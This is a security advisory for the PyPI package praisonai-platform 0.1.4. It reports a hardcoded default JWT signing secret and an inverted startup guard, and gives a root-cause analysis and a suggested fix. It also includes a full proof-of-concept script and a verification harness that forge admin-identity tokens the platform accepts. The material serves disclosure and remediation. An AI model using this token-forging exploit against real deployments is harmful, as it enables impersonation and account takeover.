PT-2026-53133 · Pypi · Praisonai-Platform

Published

2026-06-18

·

Updated

2026-06-18

CVSS v3.1

9.8

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

praisonai-platform: default JWT signing secret dev-secret-change-me

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI

Package: praisonai-platform on PyPI Latest version (and version tested): 0.1.4, current as of 2026-06-01. File: praisonai platform/services/auth service.py (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258). Weakness: CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.

TL;DR

praisonai platform/services/auth service.py lines 25-37:
python
 DEFAULT SECRET = "dev-secret-change-me"
JWT SECRET = os.environ.get("PLATFORM JWT SECRET", DEFAULT SECRET)
JWT ALGORITHM = "HS256"
JWT TTL SECONDS = int(os.environ.get("PLATFORM JWT TTL", str(30 * 24 * 3600)))

if JWT SECRET == DEFAULT SECRET and os.environ.get("PLATFORM ENV", "dev") != "dev":
  raise RuntimeError(
    "PLATFORM JWT SECRET must be set to a strong random value in production. "
    "Set PLATFORM ENV=dev to suppress this check during development."
  )
The guard at line 33 is meant to catch the "deployed to production with the default secret" failure mode. But it only fires when both:
  • the operator left PLATFORM JWT SECRET unset (so JWT SECRET is the default literal), and
  • the operator explicitly set PLATFORM ENV to something other than "dev".
If the operator left both env vars unset — the most common mis-deploy — PLATFORM ENV falls back to "dev", the second leg of the and evaluates False, and the guard does NOT fire. The server starts up signing every JWT with the public string 'dev-secret-change-me'.
The fix is to invert the polarity: refuse startup when the secret is the default regardless of PLATFORM ENV, except when an explicit PLATFORM ALLOW DEV SECRET=true (or equivalent) flag is set. That flips "default-allow" to "default-deny", which is what the line-33 comment implies the author wanted.

Root cause

  Expected behavior, reading line 33 of auth service.py:
   "Good — the framework refuses to start in production with a
   default-string secret. I'm safe by construction."

  Actual behavior:
   - PLATFORM ENV defaults to 'dev' when unset.
   - The guard checks PLATFORM ENV != 'dev', not PLATFORM ENV == 'production'
    or "operator explicitly opted in to using the dev secret".
   - So the "deployed without setting any env var" config — typical
    for first-pip-install or quick-start docker — sits silently in
    dev mode with the public secret.

  Impact:
   A guard that requires the operator to EXPLICITLY signal
   "production" cannot catch operators who forgot to signal anything.
   The forgot-to-signal case is the one the guard was designed to
   catch.

Empirical verification

poc/poc.py imports the installed PyPI package (praisonai-platform==0.1.4) with both env vars unset:
[1] startup guard at auth service.py:33 status
  Inputs:
   JWT SECRET  = 'dev-secret-change-me'
    DEFAULT SECRET = 'dev-secret-change-me'
   PLATFORM ENV = 'dev' (default 'dev')
  -> JWT SECRET == DEFAULT SECRET: True
  -> PLATFORM ENV != 'dev':     False
  -> guard fires?          False

[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258
  JWT ALGORITHM: 'HS256'

[3] forge a JWT signed with the live JWT SECRET
  forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[4] jwt.decode(forged token, JWT SECRET) — same call as
  AuthService. verify token at auth service.py:139
  decoded.sub = admin-user-id-attacker-chose
  decoded.email= admin@example.com

[5] AuthService. verify token(forged token) (live method call)
  identity.id  = admin-user-id-attacker-chose
  identity.email = admin@example.com

VERDICT: VULNERABLE
EXIT 0
Step [5] is the load-bearing one: the attacker token is decoded by the same method the FastAPI dependency get current user (praisonai platform/api/deps.py:28) calls. The returned AuthIdentity carries the attacker-chosen sub (user id) and email. Every route protected by Depends(get current user) (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.
PyJWT itself warns the key is 20 bytes — below the RFC 7518 §3.2 minimum of 32 bytes for HS256.

Impact

This is the familiar default-secret shape — a hardcoded fallback used to sign authentication tokens — with the additional twist that this one has a guard the author intended to catch the misconfiguration but whose polarity is wrong. Every route in praisonai platform.api.app:create app is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.
Workspace authorisation (require workspace member in deps.py) then checks the forged user is a member of the requested workspace; if the attacker mints a token with sub equal to a known member's id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client — including the attacker's own forged token.

Anchors

praisonai-platform 0.1.4, praisonai platform/services/auth service.py (file sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258):
LineCodeMeaning
25 DEFAULT SECRET = "dev-secret-change-me"Public default literal.
26JWT SECRET = os.environ.get("PLATFORM JWT SECRET", DEFAULT SECRET)Env-var fallback chain.
27JWT ALGORITHM = "HS256"HMAC-SHA256 with the default key.
33-37if JWT SECRET == DEFAULT SECRET and os.environ.get("PLATFORM ENV", "dev") != "dev": raise RuntimeError(...)The asymmetric guard. Defaults PLATFORM ENV to "dev", so the != "dev" check evaluates False on the forgot-to-set case.
108-118 issue token(...) calls jwt.encode(payload, JWT SECRET, …)Signing site.
137-150 verify token(...) calls jwt.decode(token, JWT SECRET, algorithms=[JWT ALGORITHM])Verification site — accepts attacker-forged tokens.
praisonai platform/api/deps.py:28 get current user calls AuthService.authenticate({"token": token}) which routes to verify token. Every router under praisonai platform.api.app mounts handlers behind this dependency.

Suggested fix

Invert the guard polarity:
python
import secrets

 DEFAULT SECRET = "dev-secret-change-me"
JWT SECRET = os.environ.get("PLATFORM JWT SECRET")
JWT ALGORITHM = "HS256"
JWT TTL SECONDS = int(os.environ.get("PLATFORM JWT TTL", str(30 * 24 * 3600)))

if not JWT SECRET:
  # Allow the dev fallback only when the operator EXPLICITLY signals
  # they understand it. The default posture is fail-closed.
  if os.environ.get("PLATFORM ALLOW DEV SECRET", "").lower() == "true":
    JWT SECRET = DEFAULT SECRET
  else:
    raise RuntimeError(
      "PLATFORM JWT SECRET is required. "
      "For local development only, set PLATFORM ALLOW DEV SECRET=true."
    )
This pattern is borrowed from Django's SECRET KEY first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (PLATFORM ALLOW DEV SECRET=true) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py
python
"""
PoC: praisonai-platform's default JWT signing key is the public literal
'dev-secret-change-me', and the guard intended to refuse production
startup checks the wrong axis — operators who deploy without setting
`PLATFORM ENV` are treated as `dev` and silently get the public secret.

Prerequisite:
  pip install praisonai-platform pyjwt
"""

import hashlib
import inspect
import os
import sys

def main() -> int:
  # Simulate the realistic "operator pip-installed praisonai-platform
  # and started uvicorn without setting any env var" deployment.
  for env var in ('PLATFORM JWT SECRET', 'PLATFORM ENV'):
    if env var in os.environ:
      del os.environ[env var]

  print('=' * 72)
  print('praisonai-platform — default JWT secret')
  print('=' * 72)

  try:
    from praisonai platform.services import auth service
  except RuntimeError as e:
    print(f'
UNEXPECTED — import raised at startup: {e}')
    return 1

  src = inspect.getsourcefile(auth service)
  with open(src, 'rb') as f:
    sha = hashlib.sha256(f.read()).hexdigest()

  print()
  print('[1] startup guard at auth service.py:33 status')
  print(f'   JWT SECRET  = {auth service.JWT SECRET!r}')
  print(f'    DEFAULT SECRET = {auth service. DEFAULT SECRET!r}')
  print(f"   PLATFORM ENV = {os.environ.get('PLATFORM ENV', 'dev')!r} (default 'dev')")
  print('  => Guard does NOT fire on the "operator forgot to set both" failure mode.')

  print()
  print('[2] module sha256 + key bindings on the LIVE installed package')
  print(f'  sha256:     {sha}')
  print(f'  JWT ALGORITHM:  {auth service.JWT ALGORITHM!r}')

  if auth service.JWT SECRET != 'dev-secret-change-me':
    print('UNEXPECTED — JWT SECRET is not the public literal.')
    return 1

  import jwt
  from datetime import datetime, timedelta, timezone

  now = datetime.now(timezone.utc)
  forged payload = {
    'sub': 'admin-user-id-attacker-chose',
    'email': 'admin@example.com',
    'name': 'Spoofed Admin',
    'iat': now,
    'exp': now + timedelta(seconds=3600),
  }
  forged token = jwt.encode(forged payload, auth service.JWT SECRET, algorithm=auth service.JWT ALGORITHM)
  print()
  print('[3] forge a JWT signed with the live JWT SECRET')
  print(f'  forged head: {forged token[:70]}...')

  decoded = jwt.decode(forged token, auth service.JWT SECRET, algorithms=[auth service.JWT ALGORITHM])
  print()
  print('[4] jwt.decode(forged token, JWT SECRET) — same call as AuthService. verify token')
  print(f'  decoded.sub = {decoded.get("sub")}')
  print(f'  decoded.email= {decoded.get("email")}')

  if decoded.get('sub') != 'admin-user-id-attacker-chose':
    print('UNEXPECTED — decoded payload mismatched.')
    return 1

  try:
    svc = auth service.AuthService(session=None)
    identity = svc. verify token(forged token)
  except Exception as e:
    print(f'  (Couldn't reach verify token: {e!r})')
    identity = None

  if identity is not None:
    print()
    print('[5] AuthService. verify token(forged token) (live method call)')
    print(f'  identity.id  = {identity.id}')
    print(f'  identity.email = {identity.email}')

  print()
  print("VULNERABLE: praisonai-platform defaults JWT SECRET to the public")
  print("      literal 'dev-secret-change-me'. The line-33 guard only")
  print("      refuses startup when PLATFORM ENV is explicitly non-'dev'")
  print('      AND the secret is default — operators who forgot to set')
  print('      the env var entirely are silently in dev mode.')
  print('VERDICT: VULNERABLE')
  return 0

if  name  == ' main ':
  sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.
python
import sys, types, importlib.util, os
os.environ.pop("PLATFORM JWT SECRET", None); os.environ.pop("PLATFORM ENV", None) # default deploy
BASE = os.path.abspath("repos/PraisonAI/src/praisonai-platform")
def pkg(name, path=None):
  m=types.ModuleType(name)
  if path: m. path =[path]
  sys.modules[name]=m; return m
def stub(name, **a):
  m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m
pkg("praisonai platform", BASE+"/praisonai platform")
pkg("praisonai platform.services", BASE+"/praisonai platform/services")
pkg("praisonai platform.db", BASE+"/praisonai platform/db")
stub("praisonai platform.db.models", Member=type("Member",(),{}), User=type("User",(),{}))
stub("sqlalchemy", select=lambda *a,**k:None)
sa async=types.ModuleType("sqlalchemy.ext.asyncio"); sa async.AsyncSession=type("AsyncSession",(),{}); sys.modules["sqlalchemy.ext.asyncio"]=sa async; sys.modules["sqlalchemy.ext"]=types.ModuleType("sqlalchemy.ext")
stub("passlib"); stub("passlib.context", CryptContext=type("CryptContext",(),{" init ":lambda s,*a,**k:None,"hash":lambda s,x:x,"verify":lambda s,a,b:a==b}))
stub("praisonaiagents")
class AuthIdentity:
  def  init (self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name
stub("praisonaiagents.auth", AuthIdentity=AuthIdentity)

spec=importlib.util.spec from file location("praisonai platform.services.auth service", BASE+"/praisonai platform/services/auth service.py")
mod=importlib.util.module from spec(spec); mod. package ="praisonai platform.services"
sys.modules[spec.name]=mod; spec.loader.exec module(mod)  # REAL auth service.py

print("[*] REAL module JWT SECRET =", repr(mod.JWT SECRET), "| DEFAULT SECRET =", repr(mod. DEFAULT SECRET))
AuthService=mod.AuthService
svc=AuthService. new (AuthService)            # bypass DB  init 
FakeUser=type("U",(),{"id":"attacker-id","email":"attacker@evil.test","name":"admin"})
tok=svc. issue token(FakeUser)               # REAL issue token (default secret)
print("[*] REAL issue token ->", tok[:46],"...")
ident=svc. verify token(tok)                # REAL verify token
print("[+] REAL verify token ->", {"id":ident.id,"email":ident.email,"name":ident.name})
assert ident and ident.id=="attacker-id" and mod.JWT SECRET=="dev-secret-change-me"
print("[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own issue token/ verify token (guard skipped because PLATFORM ENV defaults to 'dev')")

Verified result

This PoC was executed against the live upstream code; captured output:
[*] REAL module JWT SECRET = 'dev-secret-change-me' | DEFAULT SECRET = 'dev-secret-change-me'
[*] REAL issue token -> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...
[+] REAL verify token -> {'id': 'attacker-id', 'email': 'attacker@evil.test', 'name': 'admin'}
[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own issue token/ verify token (guard skipped because PLATFORM ENV defaults to 'dev')

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Fix

Using Hardcoded Credentials

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-CWJ8-7GP2-GGCW

Affected Products

Praisonai-Platform